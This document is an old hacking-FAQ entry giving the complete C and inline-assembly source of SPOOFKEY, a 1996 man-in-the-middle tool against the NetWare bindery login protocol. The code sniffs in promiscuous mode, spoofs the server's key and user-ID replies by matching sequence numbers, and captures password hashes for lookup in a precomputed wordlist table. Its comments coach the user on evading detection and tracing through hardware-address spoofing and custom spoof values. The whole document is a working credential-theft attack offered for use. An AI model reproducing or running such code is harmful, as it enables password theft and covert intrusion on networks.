|
A-02. Source code to SPOOFKEY
Greg's comments are in the source code file...
/* SPOOFKEY.C (C) 1996 by Greg Miller (distribute freely) */ /* Here we use a sequence number trick to implement a MITM attack on the Netware bindery mode login protocol. The "trick" allows us to implement the attack on a single machine which resides somewhere in between the attacking station and the server. */ /* This program implements the last step of an attack discovered by David Wagner<
daw@cs.berkeley.edu>
. Before running this program you will need to (1) get a good word list (try ftp://sable.ox.ac.uk/pub/wordlists), (2) convert the wordlist into a hash list (try http://grendel.ius.indiana.edu/~gmiller/) and (3) edit the SpoofStation[] variable to reflect the station you want to attack. After running the program, the hash will be displayed. Look up this hash in the hash list generated above and you will be able to use the corresponding password to log in as the user you spoofed. The attack spoofs both the user ID and the random value generated by the server when a workstation attempts to log in. This allows an attacker to use a pre-generated hash list to look up possible passwords. Here, I have used a "random value" of FFFFFFFFFFFFFFFF and and ID of FFFFFFFF. */ /* NOTE: You will have to run this on a pretty fast machine to beat the server's responses. It seems pretty simple, but it's not unless the server is carying a pretty heavy load. I've also run into problems where the workstation's requests were lost. That shows this program could use some very heavy optimization. */ /* NOTE: The workstation will attempt two login requests. One is to login without a password, the second is the real login request. Because of this you'll see two hashes printed rather than just one. The second hash is the only one you're interested in. */ /* NOTE: This program will only work on 3.x servers, or on 4.x servers when the workstation logs in in bindery mode. */ #include<
stdio.h>
#include<
string.h>
#include<
conio.h>
#define TRUE -1 #define FALSE 0 //Offset of the IPX packet type in an 802.3 frame #define PACKET_TYPE 19 //Offset of the NCP function code in an 802.3 frame #define FUNCTION_CODE 50 //Offset of the NCP subfunction code in an 802.3 frame #define SUBFUNC_CODE 53 //Offset of the hashed password in the NCP client //request for a login inside an 802.3 frame #define KEY_OFFSET 52 typedef unsigned char BYTE; typedef unsigned int WORD; typedef unsigned long DWORD; int DataRemaining = TRUE; int x; BYTE packet[2000]; BYTE SendPacket[2000]; WORD handle; int packet_received = FALSE; int NotDone = TRUE; /* Change these varialbles to reflect the station you are attacking. You may also want to alter the spoof values for a few reasons: 1. It prevents the use of an automated detection program to detect this attack. 2. It prevents someone else using a packet sniffer from using the same pre-generated word list that you're using. This way, if they want the password, they have to do the work themselves. */ BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21}; BYTE SpoofID[4] = {0xff,0xff,0xff,0xff}; BYTE SpoofKey[8] = {0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff}; int c; WORD pktlen; WORD Sendpktlen; void Initialize(){ } /*In reality, the functions for the packet driver API should be in a separate file, but they are included here for ease of distribution. */ static void far PacketReceived(){ /*This function is called by the packet driver when a packet is received. If AX=0 when the function is called, the packet driver is asking for a buffer to put the packet in. If AX=1 then the packet has been copied into the buffer. */ _asm{ pop di //Borland C 3.1 pushes DI for some reason. //Remove this line if you compiler doesn't. cmp ax,1 //ax=0 for get buffer or 1 when done jz copy_done mov ax,seg packet mov ES,ax lea DI,packet mov cx,2000 //buffer length retf } copy_done: packet_received = TRUE; pktlen=_CX; _asm{retf} end: } void RegisterWithPKTDRV(){ /*This function registers the "protocol stack" with the packet driver. We give it the address of the function to call when a packet is received in ES:DI, the interface class in AL, and the interface type in BX. DS:SI should point to the type of packets to receive, with the length of the type in CX, however, we'll just receive any type of packet so we leave DS:SI alone and make CX=0. We get a handle back from the INT 60h call in AX, we'll store it for later use. */ _asm { pusha mov bx,0ffffh //Wild card for all interfaces mov dl,0 mov cx,0 //receive any type of packet mov ax, seg PacketReceived mov es,ax lea di, PacketReceived mov ah,02 mov al,01 //class type for 3com 509 int 60h jc err mov handle,ax popa } printf("Registered with packet driver\r\n"); return; err: printf("Error registering stack: %d\r\n",_DH); _asm{popa} } void RelinquishProtocolStack(){ /* Relinqush control of the interface and unhooks the packet received funtion. */ /*Release Type*/ _asm{ pusha mov ah,3 mov bx,handle int 60h jc err } /*Terminate driver for handle*/ _asm{ mov ah,5 mov bx,handle int 60h jc err popa } printf("Stack Relinqushed\r\n"); return; err: printf("Error releasing Stack: %d",_DH); } void EnterPromiscuousMode(){ /*This function puts the board in promiscuous mode by putting the receive mode in CX and the handle in BX. Mode 6 is promiscuous. This causes the interface to receive all packets on the network. The user should note that some network cards send packets out on the network to indicate that they are in promiscuous mode. When this happens, the real MAC address is put on the network for all to see. This could possibly allow someone to identify the attack is occurring, and also where the attack is originating from. If your card does not implement this feature (most don't), then this attack should be carried out undetected. */ _asm{ pusha mov ah,14h mov bx,handle mov cx,6 int 60h jc err popa } printf("Promiscuous mode set\r\n"); return; err: printf("Error entering promiscuous mode: %d\r\n",_DH); _asm{popa} } void printhex(BYTE d){ /*Ad Hock mechanism for printing HEX dump. Yes, there are much better ways to do it. */ BYTE temp; _asm{ mov al,d shr al,1 shr al,1 shr al,1 shr al,1 and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c",temp); _asm{ mov al,d and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c ",temp); } void SendPack(){ /*Puts an ethernet frame on the network. The premble, etc are not included in the data, but the hardware address is. This allows us to spoof our address at the hardware level. Although, NetWare doesn't care what the hardware address is, implementing the attack in this way allows us to avoid the attack to be traced back to a given machine, should the attack be detected. */ _asm{ pusha mov ax,seg SendPacket mov ds,ax lea si,SendPacket mov cx,Sendpktlen mov ah,04 int 60h jc err popa } printf("Sending:\r\n"); for(c=0;c<
pktlen;c++){printhex(packet[c]);} printf("\r\n"); return; err: printf("Error sending packet: %d\r\n",_DH); _asm{popa} } void SendEncryptionKeyReply(){ /*We've seen the client station request an encryption key from the server. We will spoof our fake encryption key back to the client, and hopfully beat the server. If we do the client will ignore the server's reply and use our key. To make this happen, we have to use the propper sequence number for the reply. With NCP, sequence numbers are mearly counters of the number of packets sent for that connection. When the client sends a request, the reply will use the same sequence number as the request did. Due to the structure of the NCP protocol, no acknowledgment of receipt is needed. Due to the behaviour of the sequence numbers, both the server and the client stay in a sychronized state, which makes the attack much, much easier. If this was TCP, the code here would be much different. */ memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr //Put 802.3 length here. SendPacket[12]=00; SendPacket[13]=0x2e; memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum SendPacket[16]=0;SendPacket[17]=0x2e; //IPX Length SendPacket[18]=1; //Hop Count SendPacket[19]=17; //Packet type = NCP SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type memcpy(SendPacket+46,packet+46,4); //Seq num,con num,task,con num hi SendPacket[50]=0; //Completion code SendPacket[51]=0; //Connection Status memcpy(SendPacket+52,SpoofKey,8); //Key Sendpktlen = 60; printf("Spoofing Encryption Key Reply\r\n"); SendPack(); } void SendIDReply(){ /*We've seen a request from the client for the UID. So we'll spoof our fake UID in the same manner above. */ memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr SendPacket[12]=0; //802.3 length hi SendPacket[13]=0x5c; //802.3 length lo memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum SendPacket[16]=0;SendPacket[17]=0x5c; //IPX Length SendPacket[18]=0; //Hop Count SendPacket[19]=17; //Packet type = NCP SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type memcpy(SendPacket+46,packet+46,4); //Seq num,con num,task,con num hi SendPacket[50]=0; //Completion code SendPacket[51]=0; //Connection Status memcpy(SendPacket+52,SpoofID,4); //ID SendPacket[56]=packet[54];SendPacket[57]=packet[55]; //Object type memset(SendPacket+58,'\000',47); memcpy(SendPacket+58,packet+57,packet[56]); //Object name Sendpktlen=105; printf("Spoofing ID Reply\r\n"); SendPack(); } void WaitForPacket(){ while(!packet_received){ if (kbhit()) NotDone = FALSE; } // for(c=0;c<
pktlen;c++){printhex(packet[c]);} // printf("\r\n"); packet_received=FALSE; } void WaitForStationLoginRequest(){ /*Here is the main program loop, where the attack actually occurs. When the user types in his user name, the client attempts to log in with a NULL password. If that login fails, the user is prompted for a password. Because of this, we'll have to spoof the key and UID twice to ensure we get both requests. This is the reason for the for(){...} block. The NetWare login protocol is as follows: 1. The client sends a request for a login key. And the server responds by sending and eight byte random number back to the client. 2. The client sends a request for the user's user ID. The server responds by sending the requested ID back to the client. 3. The client performs some function f(UID, key, password) and sends this value to the server as a request for a login. The server performs the same calculation, if the value received from the client matches the value the server computed, the client is granted access. Since, we've spoofed the UID and the key, the f() function will always produce the same values for the same password. Because of this, we could have pre-generated a list of hashes using a database of common words. The generated database would contain a mapping from the hash back to the password. Given the fact that most people use a single word for their password, this database could be generated in only a few hours on a PC. Then it's only a matter of looking up the hash in the database to obtain the password. Due to the poor design of the Netware hash function, there is likley to be more than one password which hashes to the same value. This does not mean the passwords are equivelent. You must attempt to log in which each retreived password individually to determine the real one. */ for(x=0;x<
2;x++){ /*Wait for login key request and spoof it*/ printf("Waiting for key request\r\n"); while(NotDone){ WaitForPacket(); if((memcmp(packet+6,SpoofStation,6)==0) && (packet[PACKET_TYPE]==17) && (packet[FUNCTION_CODE]==23) && (packet[SUBFUNC_CODE]==23)){ NotDone = FALSE; } } SendEncryptionKeyReply(); /*Wait for ID request and spoof it*/ printf("Waiting for ID request\r\n"); NotDone = TRUE; while(NotDone){ WaitForPacket(); if(memcmp(packet+6,SpoofStation,6)){ if((packet[PACKET_TYPE]==17) && (packet[FUNCTION_CODE]==23) && (packet[SUBFUNC_CODE]==53)){ NotDone = FALSE; } } } SendIDReply(); /*Wait for login request and pull hash out*/ printf("Waiting for login request\r\n"); NotDone = TRUE; while(NotDone){ WaitForPacket(); if(memcmp(packet,SpoofStation+6,6) && (packet[PACKET_TYPE]==17) && (packet[FUNCTION_CODE]==23) && (packet[SUBFUNC_CODE]==24)){ NotDone = FALSE; } } printf("Hash Received\r\n"); for(c=KEY_OFFSET;c<
KEY_OFFSET+7;c++){printhex(packet[c]);} printf("\r\n"); } } void main(){ Initialize(); RegisterWithPKTDRV(); EnterPromiscuousMode(); WaitForStationLoginRequest(); RelinquishProtocolStack(); /*Toggles prom mode off*/ }